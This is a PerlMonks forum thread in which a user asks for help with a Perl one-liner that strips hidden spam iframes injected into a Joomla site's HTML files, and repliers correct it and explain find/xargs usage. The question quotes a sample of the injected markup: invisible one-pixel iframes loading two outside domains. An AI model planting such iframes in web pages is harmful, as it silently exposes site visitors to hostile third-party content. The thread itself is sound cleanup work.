Beefy Boxes and Bandwidth Generously Provided by pair Networks
"be consistent"
 
PerlMonks  

need help for search and replace oneliner

by doniking (Novice)
on Jun 30, 2009 at 10:42 UTC ( [id://775972]=perlquestion: print w/replies, xml ) Need Help??

doniking has asked for the wisdom of the Perl Monks concerning the following question:

Hello monks, Could you please tell me why this does not work?
find . -name '*.html' -print0 | xargs -0 perl -pi -e 's/<iframe\s+src= +"http:\/\/(.+?)\/?click=[^>]*>(.*?)<\/iframe>//sig'
sample of the file.html
<body><body bgcolor="#FFFFFF"></body></body><iframe src="http://brugen +i.net/?click=556023" width=1 height=1 style="visibility:hidden ;position:absolute"></iframe><iframe src="http://nabobil.net/?click=35 +98F2" width=1 height=1 style="visibility:hidden;position:absol ute"></iframe>
It works on RegexBuddy. I'm trying to get rid this spywares on my friend's joomla website :(
Thank you for any helps.

Donie

Replies are listed 'Best First'.
Re: need help for search and replace oneliner
by jwkrahn (Abbot) on Jun 30, 2009 at 12:06 UTC

    Your Perl one-liner is only reading one line at a time so it won't affect line wrapped iframe's.   Try changing it to this:

    find . -name '*.html' -print0 | xargs -0 perl -pi -0777e 's|<iframe\s+ +src="http://.+?/?click=[^>]*>.*?</iframe>||sig'
      @jwkrahn: Thanks! that works.
Re: need help for search and replace oneliner
by Utilitarian (Vicar) on Jun 30, 2009 at 11:21 UTC
    for i in $(find . -name '*.html' -print);do perl -pi -e 's/<iframe\s+src="http:\/\/(.+?)\/?click=[^>]*>(.*?)<\/ifr +ame>//sig' $i done
    print0 concatenates the result into a single argument
      print0 concatenates the result into a single argument

      ... and xargs -0 separates the stream from find -print0 into a list, independent from $ENV{IFS}. Your code will FAIL when the filenames contain characters found in $ENV{IFS}. The find -print0 | xargs -0 pipe won't, because it uses the only character not allowed anywhere in a path name to separate the file names, ASCII NUL.

      Alexander

      Update: fixed some typos, added <c> tags

      --
      Today I will gladly share my knowledge and experience, for there are no sweeter words than "I told you so". ;-)
        Thanks for that, finally a purpose for xargs, I've never used it preferring $(command to use output of). You live and learn, cheers, you told me so
        Thank you for the explanation. I really appreciate it. I've learned something new.
Re: need help for search and replace oneliner
by afoken (Chancellor) on Jun 30, 2009 at 11:37 UTC

    Please explain "does not work". What output do you expect, what happens instead? Any errors or warnings?

    Alexander

    --
    Today I will gladly share my knowledge and experience, for there are no sweeter words than "I told you so". ;-)

Log In?
Username:
Password:

What's my password?
Create A New User
Domain Nodelet?
Node Status?
node history
Node Type: perlquestion [id://775972]
Approved by ELISHEVA
help
Chatterbox?
and the web crawler heard nothing...

How do I use this?Last hourOther CB clients
Other Users?
Others making s'mores by the fire in the courtyard of the Monastery: (5)
As of 2024-03-29 06:42 GMT
Sections?
Information?
Find Nodes?
Leftovers?
    Voting Booth?

    No recent polls found